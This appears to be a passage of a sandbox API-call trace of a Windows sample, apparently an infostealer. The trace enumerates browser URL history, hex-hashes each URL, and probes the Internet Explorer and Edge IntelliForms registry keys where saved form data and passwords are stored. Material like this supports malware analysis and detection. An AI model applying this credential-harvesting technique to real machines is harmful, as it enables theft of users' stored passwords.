GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.874] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.874] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.874] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.874] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.874] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.874] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.874] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.874] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.874] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.875] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.875] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.875] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.875] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.875] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.875] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.875] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.875] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.875] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.875] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.875] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.876] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.876] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.876] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.876] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.876] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.876] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.876] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.876] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.876] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.876] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.877] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.877] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.877] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.877] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.877] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.877] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.877] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.877] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.877] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.877] GetProcAddress (hModule=0x77720000, lpProcName="memcpy") returned 0x77742340 [0056.878] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="37") returned 2 [0056.878] lstrcpyA (in: lpString1=0x21fb40, lpString2="37" | out: lpString1="37") returned="37" [0056.878] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="37D9") returned 4 [0056.878] lstrcpyA (in: lpString1=0x21fb40, lpString2="37D9" | out: lpString1="37D9") returned="37D9" [0056.878] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="37D95B") returned 6 [0056.878] lstrcpyA (in: lpString1=0x21fb40, lpString2="37D95B" | out: lpString1="37D95B") returned="37D95B" [0056.878] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="37D95B64") returned 8 [0056.878] lstrcpyA (in: lpString1=0x21fb40, lpString2="37D95B64" | out: lpString1="37D95B64") returned="37D95B64" [0056.878] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="37D95B642F") returned 10 [0056.878] lstrcpyA (in: lpString1=0x21fb40, lpString2="37D95B642F" | out: lpString1="37D95B642F") returned="37D95B642F" [0056.878] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="37D95B642FDD") returned 12 [0056.878] lstrcpyA (in: lpString1=0x21fb40, lpString2="37D95B642FDD" | out: lpString1="37D95B642FDD") returned="37D95B642FDD" [0056.878] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="37D95B642FDDDC") returned 14 [0056.878] lstrcpyA (in: lpString1=0x21fb40, lpString2="37D95B642FDDDC" | out: lpString1="37D95B642FDDDC") returned="37D95B642FDDDC" [0056.878] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="37D95B642FDDDCC2") returned 16 [0056.878] lstrcpyA (in: lpString1=0x21fb40, lpString2="37D95B642FDDDCC2" | out: lpString1="37D95B642FDDDCC2") returned="37D95B642FDDDCC2" [0056.878] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="37D95B642FDDDCC2BD") returned 18 [0056.878] lstrcpyA (in: lpString1=0x21fb40, lpString2="37D95B642FDDDCC2BD" | out: lpString1="37D95B642FDDDCC2BD") returned="37D95B642FDDDCC2BD" [0056.878] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="37D95B642FDDDCC2BD7F") returned 20 [0056.878] lstrcpyA (in: lpString1=0x21fb40, lpString2="37D95B642FDDDCC2BD7F" | out: lpString1="37D95B642FDDDCC2BD7F") returned="37D95B642FDDDCC2BD7F" [0056.878] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="37D95B642FDDDCC2BD7FB3") returned 22 [0056.878] lstrcpyA (in: lpString1=0x21fb40, lpString2="37D95B642FDDDCC2BD7FB3" | out: lpString1="37D95B642FDDDCC2BD7FB3") returned="37D95B642FDDDCC2BD7FB3" [0056.878] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="37D95B642FDDDCC2BD7FB33B") returned 24 [0056.878] lstrcpyA (in: lpString1=0x21fb40, lpString2="37D95B642FDDDCC2BD7FB33B" | out: lpString1="37D95B642FDDDCC2BD7FB33B") returned="37D95B642FDDDCC2BD7FB33B" [0056.878] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="37D95B642FDDDCC2BD7FB33B85") returned 26 [0056.878] lstrcpyA (in: lpString1=0x21fb40, lpString2="37D95B642FDDDCC2BD7FB33B85" | out: lpString1="37D95B642FDDDCC2BD7FB33B85") returned="37D95B642FDDDCC2BD7FB33B85" [0056.878] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="37D95B642FDDDCC2BD7FB33B85E8") returned 28 [0056.878] lstrcpyA (in: lpString1=0x21fb40, lpString2="37D95B642FDDDCC2BD7FB33B85E8" | out: lpString1="37D95B642FDDDCC2BD7FB33B85E8") returned="37D95B642FDDDCC2BD7FB33B85E8" [0056.878] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="37D95B642FDDDCC2BD7FB33B85E824") returned 30 [0056.878] lstrcpyA (in: lpString1=0x21fb40, lpString2="37D95B642FDDDCC2BD7FB33B85E824" | out: lpString1="37D95B642FDDDCC2BD7FB33B85E824") returned="37D95B642FDDDCC2BD7FB33B85E824" [0056.878] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="37D95B642FDDDCC2BD7FB33B85E8247C") returned 32 [0056.878] lstrcpyA (in: lpString1=0x21fb40, lpString2="37D95B642FDDDCC2BD7FB33B85E8247C" | out: lpString1="37D95B642FDDDCC2BD7FB33B85E8247C") returned="37D95B642FDDDCC2BD7FB33B85E8247C" [0056.878] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="37D95B642FDDDCC2BD7FB33B85E8247C07") returned 34 [0056.878] lstrcpyA (in: lpString1=0x21fb40, lpString2="37D95B642FDDDCC2BD7FB33B85E8247C07" | out: lpString1="37D95B642FDDDCC2BD7FB33B85E8247C07") returned="37D95B642FDDDCC2BD7FB33B85E8247C07" [0056.878] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="37D95B642FDDDCC2BD7FB33B85E8247C07A8") returned 36 [0056.878] lstrcpyA (in: lpString1=0x21fb40, lpString2="37D95B642FDDDCC2BD7FB33B85E8247C07A8" | out: lpString1="37D95B642FDDDCC2BD7FB33B85E8247C07A8") returned="37D95B642FDDDCC2BD7FB33B85E8247C07A8" [0056.878] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="37D95B642FDDDCC2BD7FB33B85E8247C07A813") returned 38 [0056.878] lstrcpyA (in: lpString1=0x21fb40, lpString2="37D95B642FDDDCC2BD7FB33B85E8247C07A813" | out: lpString1="37D95B642FDDDCC2BD7FB33B85E8247C07A813") returned="37D95B642FDDDCC2BD7FB33B85E8247C07A813" [0056.878] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="37D95B642FDDDCC2BD7FB33B85E8247C07A81333") returned 40 [0056.878] lstrcpyA (in: lpString1=0x21fb40, lpString2="37D95B642FDDDCC2BD7FB33B85E8247C07A81333" | out: lpString1="37D95B642FDDDCC2BD7FB33B85E8247C07A81333") returned="37D95B642FDDDCC2BD7FB33B85E8247C07A81333" [0056.878] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="37D95B642FDDDCC2BD7FB33B85E8247C07A81333A5") returned 42 [0056.878] lstrcpyA (in: lpString1=0x21fb40, lpString2="37D95B642FDDDCC2BD7FB33B85E8247C07A81333A5" | out: lpString1="37D95B642FDDDCC2BD7FB33B85E8247C07A81333A5") returned="37D95B642FDDDCC2BD7FB33B85E8247C07A81333A5" [0056.879] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae0 | out: phkResult=0x21fae0*=0x0) returned 0x2 [0056.879] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab0 | out: phkResult=0x21fab0*=0x0) returned 0x2 [0056.879] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa80 | out: phkResult=0x21fa80*=0x0) returned 0x2 [0056.879] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae4 | out: phkResult=0x21fae4*=0x0) returned 0x2 [0056.879] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab4 | out: phkResult=0x21fab4*=0x0) returned 0x2 [0056.879] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa84 | out: phkResult=0x21fa84*=0x0) returned 0x2 [0056.879] LocalFree (hMem=0x2cbd70) returned 0x0 [0056.879] CoTaskMemFree (pv=0x2d4c38) [0056.879] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.879] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/9FO7CXk4r/SI8T1qCpbC.bmp", lpSrch="?") returned 0x0 [0056.879] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.879] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2e4408 [0056.879] lstrcpyA (in: lpString1=0x2e4408, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.879] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/9FO7CXk4r/SI8T1qCpbC.bmp") returned 66 [0056.879] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/9FO7CXk4r/SI8T1qCpbC.bmp") returned 66 [0056.880] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="DE") returned 2 [0056.880] lstrcpyA (in: lpString1=0x21fb40, lpString2="DE" | out: lpString1="DE") returned="DE" [0056.880] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="DE4A") returned 4 [0056.880] lstrcpyA (in: lpString1=0x21fb40, lpString2="DE4A" | out: lpString1="DE4A") returned="DE4A" [0056.880] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="DE4AFD") returned 6 [0056.880] lstrcpyA (in: lpString1=0x21fb40, lpString2="DE4AFD" | out: lpString1="DE4AFD") returned="DE4AFD" [0056.880] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="DE4AFD2E") returned 8 [0056.880] lstrcpyA (in: lpString1=0x21fb40, lpString2="DE4AFD2E" | out: lpString1="DE4AFD2E") returned="DE4AFD2E" [0056.880] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="DE4AFD2ECC") returned 10 [0056.880] lstrcpyA (in: lpString1=0x21fb40, lpString2="DE4AFD2ECC" | out: lpString1="DE4AFD2ECC") returned="DE4AFD2ECC" [0056.880] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="DE4AFD2ECC7E") returned 12 [0056.880] lstrcpyA (in: lpString1=0x21fb40, lpString2="DE4AFD2ECC7E" | out: lpString1="DE4AFD2ECC7E") returned="DE4AFD2ECC7E" [0056.880] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="DE4AFD2ECC7EE0") returned 14 [0056.880] lstrcpyA (in: lpString1=0x21fb40, lpString2="DE4AFD2ECC7EE0" | out: lpString1="DE4AFD2ECC7EE0") returned="DE4AFD2ECC7EE0" [0056.880] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="DE4AFD2ECC7EE067") returned 16 [0056.880] lstrcpyA (in: lpString1=0x21fb40, lpString2="DE4AFD2ECC7EE067" | out: lpString1="DE4AFD2ECC7EE067") returned="DE4AFD2ECC7EE067" [0056.880] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="DE4AFD2ECC7EE0673E") returned 18 [0056.880] lstrcpyA (in: lpString1=0x21fb40, lpString2="DE4AFD2ECC7EE0673E" | out: lpString1="DE4AFD2ECC7EE0673E") returned="DE4AFD2ECC7EE0673E" [0056.880] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="DE4AFD2ECC7EE0673E78") returned 20 [0056.880] lstrcpyA (in: lpString1=0x21fb40, lpString2="DE4AFD2ECC7EE0673E78" | out: lpString1="DE4AFD2ECC7EE0673E78") returned="DE4AFD2ECC7EE0673E78" [0056.880] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="DE4AFD2ECC7EE0673E7840") returned 22 [0056.880] lstrcpyA (in: lpString1=0x21fb40, lpString2="DE4AFD2ECC7EE0673E7840" | out: lpString1="DE4AFD2ECC7EE0673E7840") returned="DE4AFD2ECC7EE0673E7840" [0056.880] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="DE4AFD2ECC7EE0673E7840E4") returned 24 [0056.880] lstrcpyA (in: lpString1=0x21fb40, lpString2="DE4AFD2ECC7EE0673E7840E4" | out: lpString1="DE4AFD2ECC7EE0673E7840E4") returned="DE4AFD2ECC7EE0673E7840E4" [0056.880] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="DE4AFD2ECC7EE0673E7840E4E1") returned 26 [0056.880] lstrcpyA (in: lpString1=0x21fb40, lpString2="DE4AFD2ECC7EE0673E7840E4E1" | out: lpString1="DE4AFD2ECC7EE0673E7840E4E1") returned="DE4AFD2ECC7EE0673E7840E4E1" [0056.880] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="DE4AFD2ECC7EE0673E7840E4E1CD") returned 28 [0056.880] lstrcpyA (in: lpString1=0x21fb40, lpString2="DE4AFD2ECC7EE0673E7840E4E1CD" | out: lpString1="DE4AFD2ECC7EE0673E7840E4E1CD") returned="DE4AFD2ECC7EE0673E7840E4E1CD" [0056.880] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="DE4AFD2ECC7EE0673E7840E4E1CDD1") returned 30 [0056.880] lstrcpyA (in: lpString1=0x21fb40, lpString2="DE4AFD2ECC7EE0673E7840E4E1CDD1" | out: lpString1="DE4AFD2ECC7EE0673E7840E4E1CDD1") returned="DE4AFD2ECC7EE0673E7840E4E1CDD1" [0056.880] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="DE4AFD2ECC7EE0673E7840E4E1CDD110") returned 32 [0056.880] lstrcpyA (in: lpString1=0x21fb40, lpString2="DE4AFD2ECC7EE0673E7840E4E1CDD110" | out: lpString1="DE4AFD2ECC7EE0673E7840E4E1CDD110") returned="DE4AFD2ECC7EE0673E7840E4E1CDD110" [0056.880] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="DE4AFD2ECC7EE0673E7840E4E1CDD11028") returned 34 [0056.880] lstrcpyA (in: lpString1=0x21fb40, lpString2="DE4AFD2ECC7EE0673E7840E4E1CDD11028" | out: lpString1="DE4AFD2ECC7EE0673E7840E4E1CDD11028") returned="DE4AFD2ECC7EE0673E7840E4E1CDD11028" [0056.880] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="DE4AFD2ECC7EE0673E7840E4E1CDD1102815") returned 36 [0056.880] lstrcpyA (in: lpString1=0x21fb40, lpString2="DE4AFD2ECC7EE0673E7840E4E1CDD1102815" | out: lpString1="DE4AFD2ECC7EE0673E7840E4E1CDD1102815") returned="DE4AFD2ECC7EE0673E7840E4E1CDD1102815" [0056.880] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="DE4AFD2ECC7EE0673E7840E4E1CDD11028150E") returned 38 [0056.880] lstrcpyA (in: lpString1=0x21fb40, lpString2="DE4AFD2ECC7EE0673E7840E4E1CDD11028150E" | out: lpString1="DE4AFD2ECC7EE0673E7840E4E1CDD11028150E") returned="DE4AFD2ECC7EE0673E7840E4E1CDD11028150E" [0056.880] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="DE4AFD2ECC7EE0673E7840E4E1CDD11028150E9D") returned 40 [0056.880] lstrcpyA (in: lpString1=0x21fb40, lpString2="DE4AFD2ECC7EE0673E7840E4E1CDD11028150E9D" | out: lpString1="DE4AFD2ECC7EE0673E7840E4E1CDD11028150E9D") returned="DE4AFD2ECC7EE0673E7840E4E1CDD11028150E9D" [0056.880] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="DE4AFD2ECC7EE0673E7840E4E1CDD11028150E9D35") returned 42 [0056.880] lstrcpyA (in: lpString1=0x21fb40, lpString2="DE4AFD2ECC7EE0673E7840E4E1CDD11028150E9D35" | out: lpString1="DE4AFD2ECC7EE0673E7840E4E1CDD11028150E9D35") returned="DE4AFD2ECC7EE0673E7840E4E1CDD11028150E9D35" [0056.880] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae0 | out: phkResult=0x21fae0*=0x0) returned 0x2 [0056.880] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab0 | out: phkResult=0x21fab0*=0x0) returned 0x2 [0056.881] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa80 | out: phkResult=0x21fa80*=0x0) returned 0x2 [0056.881] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae4 | out: phkResult=0x21fae4*=0x0) returned 0x2 [0056.881] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab4 | out: phkResult=0x21fab4*=0x0) returned 0x2 [0056.881] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa84 | out: phkResult=0x21fa84*=0x0) returned 0x2 [0056.881] LocalFree (hMem=0x2e4408) returned 0x0 [0056.881] CoTaskMemFree (pv=0x2e4378) [0056.881] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.881] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/lsr2XHXEWF%20fzF2X.bmp", lpSrch="?") returned 0x0 [0056.881] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.881] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2e4928 [0056.881] lstrcpyA (in: lpString1=0x2e4928, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.881] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/lsr2XHXEWF%20fzF2X.bmp") returned 72 [0056.881] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/lsr2XHXEWF%20fzF2X.bmp") returned 72 [0056.881] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="B2") returned 2 [0056.881] lstrcpyA (in: lpString1=0x21fb40, lpString2="B2" | out: lpString1="B2") returned="B2" [0056.881] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="B203") returned 4 [0056.881] lstrcpyA (in: lpString1=0x21fb40, lpString2="B203" | out: lpString1="B203") returned="B203" [0056.881] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="B203FB") returned 6 [0056.881] lstrcpyA (in: lpString1=0x21fb40, lpString2="B203FB" | out: lpString1="B203FB") returned="B203FB" [0056.881] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="B203FB00") returned 8 [0056.881] lstrcpyA (in: lpString1=0x21fb40, lpString2="B203FB00" | out: lpString1="B203FB00") returned="B203FB00" [0056.882] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="B203FB0062") returned 10 [0056.882] lstrcpyA (in: lpString1=0x21fb40, lpString2="B203FB0062" | out: lpString1="B203FB0062") returned="B203FB0062" [0056.882] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="B203FB00629C") returned 12 [0056.882] lstrcpyA (in: lpString1=0x21fb40, lpString2="B203FB00629C" | out: lpString1="B203FB00629C") returned="B203FB00629C" [0056.882] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="B203FB00629C1C") returned 14 [0056.882] lstrcpyA (in: lpString1=0x21fb40, lpString2="B203FB00629C1C" | out: lpString1="B203FB00629C1C") returned="B203FB00629C1C" [0056.882] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="B203FB00629C1C08") returned 16 [0056.882] lstrcpyA (in: lpString1=0x21fb40, lpString2="B203FB00629C1C08" | out: lpString1="B203FB00629C1C08") returned="B203FB00629C1C08" [0056.882] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="B203FB00629C1C0839") returned 18 [0056.882] lstrcpyA (in: lpString1=0x21fb40, lpString2="B203FB00629C1C0839" | out: lpString1="B203FB00629C1C0839") returned="B203FB00629C1C0839" [0056.882] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="B203FB00629C1C083901") returned 20 [0056.882] lstrcpyA (in: lpString1=0x21fb40, lpString2="B203FB00629C1C083901" | out: lpString1="B203FB00629C1C083901") returned="B203FB00629C1C083901" [0056.882] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="B203FB00629C1C08390169") returned 22 [0056.882] lstrcpyA (in: lpString1=0x21fb40, lpString2="B203FB00629C1C08390169" | out: lpString1="B203FB00629C1C08390169") returned="B203FB00629C1C08390169" [0056.882] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="B203FB00629C1C0839016915") returned 24 [0056.882] lstrcpyA (in: lpString1=0x21fb40, lpString2="B203FB00629C1C0839016915" | out: lpString1="B203FB00629C1C0839016915") returned="B203FB00629C1C0839016915" [0056.882] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="B203FB00629C1C0839016915A3") returned 26 [0056.882] lstrcpyA (in: lpString1=0x21fb40, lpString2="B203FB00629C1C0839016915A3" | out: lpString1="B203FB00629C1C0839016915A3") returned="B203FB00629C1C0839016915A3" [0056.882] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="B203FB00629C1C0839016915A307") returned 28 [0056.882] lstrcpyA (in: lpString1=0x21fb40, 